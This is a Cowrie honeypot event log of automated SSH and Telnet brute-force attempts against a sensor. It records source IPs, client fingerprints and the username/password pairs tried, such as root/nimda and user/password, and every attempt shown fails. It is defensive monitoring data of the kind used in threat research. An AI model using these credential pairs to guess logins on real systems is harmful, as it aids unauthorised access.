{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:27.913021Z","src_ip":"91.92.40.36","session":"1f2e7b0a996a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":55744,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e34a15ea8cf","protocol":"ssh","message":"New connection: 102.210.148.92:55744 (159.203.135.109:22) [session: 0e34a15ea8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:27.944132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:27.949794Z","src_ip":"102.210.148.92","session":"0e34a15ea8cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:28.190331Z","src_ip":"102.210.148.92","session":"0e34a15ea8cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":28454,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca6a0dba90b8","protocol":"ssh","message":"New connection: 150.136.214.177:28454 (10.17.0.5:22) [session: ca6a0dba90b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:28.880915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:28.888231Z","src_ip":"150.136.214.177","session":"ca6a0dba90b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:28.915732Z","src_ip":"150.136.214.177","session":"ca6a0dba90b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser321","message":"login attempt [myuser/myuser321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:29.053192Z","src_ip":"150.136.214.177","session":"ca6a0dba90b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Spider123","message":"login attempt [root/Spider123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:29.186906Z","src_ip":"102.210.148.92","session":"0e34a15ea8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:30.082176Z","src_ip":"150.136.214.177","session":"ca6a0dba90b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:30.429503Z","src_ip":"102.210.148.92","session":"0e34a15ea8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:30.683791Z","src_ip":"91.92.40.36","session":"1f2e7b0a996a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18878,"dst_ip":"10.17.0.5","dst_port":22,"session":"cefbfe230488","protocol":"ssh","message":"New connection: 91.92.40.36:18878 (10.17.0.5:22) [session: cefbfe230488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:31.946907Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456","message":"login attempt [root/Root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:32.045771Z","src_ip":"91.92.40.36","session":"b02ddb9f66dc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:32.961674Z","src_ip":"91.92.40.36","session":"cefbfe230488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:32.964921Z","src_ip":"91.92.40.36","session":"cefbfe230488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:34.631632Z","src_ip":"91.92.40.36","session":"b02ddb9f66dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dneo","password":"dneo","message":"login attempt [dneo/dneo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:36.048868Z","src_ip":"91.92.40.36","session":"cefbfe230488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:37.587953Z","src_ip":"91.92.40.36","session":"cefbfe230488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50776,"dst_ip":"10.17.0.5","dst_port":22,"session":"4192584a04ff","protocol":"ssh","message":"New connection: 91.92.40.36:50776 (10.17.0.5:22) [session: 4192584a04ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:41.987482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:42.623479Z","src_ip":"91.92.40.36","session":"4192584a04ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:43.578390Z","src_ip":"91.92.40.36","session":"4192584a04ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46030,"dst_ip":"159.203.135.109","dst_port":23,"session":"33361e87e4cc","protocol":"telnet","message":"New connection: 107.6.151.170:46030 (159.203.135.109:23) [session: 33361e87e4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:47.087984Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35860,"dst_ip":"10.17.0.5","dst_port":22,"session":"0821818fb461","protocol":"ssh","message":"New connection: 91.92.40.36:35860 (10.17.0.5:22) [session: 0821818fb461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:47.614760Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42708,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac9814b7362","protocol":"telnet","message":"New connection: 172.81.62.90:42708 (159.203.135.109:23) [session: 7ac9814b7362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:47.913661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:48.180375Z","src_ip":"91.92.40.36","session":"0821818fb461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:48.183543Z","src_ip":"91.92.40.36","session":"0821818fb461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1111","message":"login attempt [test/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:48.620005Z","src_ip":"91.92.40.36","session":"4192584a04ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34730,"dst_ip":"10.17.0.5","dst_port":22,"session":"42a3a3b9311e","protocol":"ssh","message":"New connection: 51.250.105.222:34730 (10.17.0.5:22) [session: 42a3a3b9311e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:51.098301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:51.102642Z","src_ip":"51.250.105.222","session":"42a3a3b9311e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:51.235864Z","src_ip":"51.250.105.222","session":"42a3a3b9311e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:51.626091Z","src_ip":"51.250.105.222","session":"42a3a3b9311e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:51.781172Z","src_ip":"91.92.40.36","session":"4192584a04ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:52.732031Z","src_ip":"91.92.40.36","session":"0821818fb461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:52.758844Z","src_ip":"51.250.105.222","session":"42a3a3b9311e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:55.116836Z","src_ip":"91.92.40.36","session":"0821818fb461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35886,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6bb5acd01e1","protocol":"ssh","message":"New connection: 91.92.40.36:35886 (10.17.0.5:22) [session: b6bb5acd01e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:55.371811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:56.179596Z","src_ip":"91.92.40.36","session":"b6bb5acd01e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:56.183009Z","src_ip":"91.92.40.36","session":"b6bb5acd01e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:57.795902Z","src_ip":"91.92.40.36","session":"b6bb5acd01e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:59.091571Z","src_ip":"91.92.40.36","session":"b6bb5acd01e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55796,"dst_ip":"10.17.0.5","dst_port":22,"session":"37ee4e43e27f","protocol":"ssh","message":"New connection: 91.92.40.36:55796 (10.17.0.5:22) [session: 37ee4e43e27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:02.228629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:03.025556Z","src_ip":"91.92.40.36","session":"37ee4e43e27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:03.030194Z","src_ip":"91.92.40.36","session":"37ee4e43e27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:07.367385Z","src_ip":"91.92.40.36","session":"37ee4e43e27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:09.542400Z","src_ip":"91.92.40.36","session":"37ee4e43e27f","protocol":"ssh"}
